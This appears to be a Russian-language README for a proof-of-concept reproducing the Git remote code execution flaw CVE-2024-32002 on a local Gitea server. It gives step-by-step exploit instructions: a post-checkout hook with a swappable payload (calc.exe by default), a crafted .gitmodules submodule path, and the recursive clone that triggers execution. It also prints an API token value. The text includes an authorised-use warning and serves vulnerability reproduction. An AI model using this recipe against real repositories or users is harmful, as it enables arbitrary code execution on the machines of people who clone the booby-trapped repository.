
Локальная среда воспроизведения для эксплойта Git RCE CVE-2024-32002 с использованием Gitea, с внедрением пользовательской полезной нагрузки через post-checkout хуки и обход пути подмодуля.
Мы следуем этой записи в блоге, но с некоторыми ключевыми отличиями https://amalmurali.me/posts/git-rce
git_rce) включает подмодуль с особым образом созданным путём..git/, в котором содержится вредоносный хук.⚠️ Предупреждение: Не запускайте этот PoC на системах, которые вам не принадлежат или на использование которых у вас нет явного разрешения. Несанкционированное тестирование может привести к непредвиденным последствиям.
Нам нужно создать API-токен для gitea, его можно найти по адресу http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications
Я предоставил токену доступ ко всему, чтобы убедиться, что всё работает.
Затем мы можем запустить наш poc.sh, убедившись, что предоставляем ему запрашиваемую информацию, такую как IP-адрес и порт для сервера gitea, имя пользователя и токен для создания репозиториев.
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook
Enter the name for the second repository: main
Также нам нужно отредактировать строки 42-46, чтобы они содержали полезную нагрузку
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc
EOF
Есть ещё один шаг: мы должны перейти к файлу .gitmodules из репозитория main в репозиторий hook. Я вручную зашёл в репозиторий в git tea и изменил файл.

И затем это дало следующее:
[submodule "x/y"]
path = A/modules/x
url = http://<your_git_tea_server>:3000/chris/hook.git
Убедившись, что когда я перешёл в A/modules, я увидел что-то подобное

Затем нажатие на этот коммит должно показать другой репозиторий с содержимым PoC, когда вы на него нажмёте.
Затем мы можем взять наш URL, и это должно сработать для запуска эксплойта
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git
Благодарность filip-hejsek и amalmurali47 за обнаружение этой уязвимости и за наличие записи в блоге и репозитория для адаптации.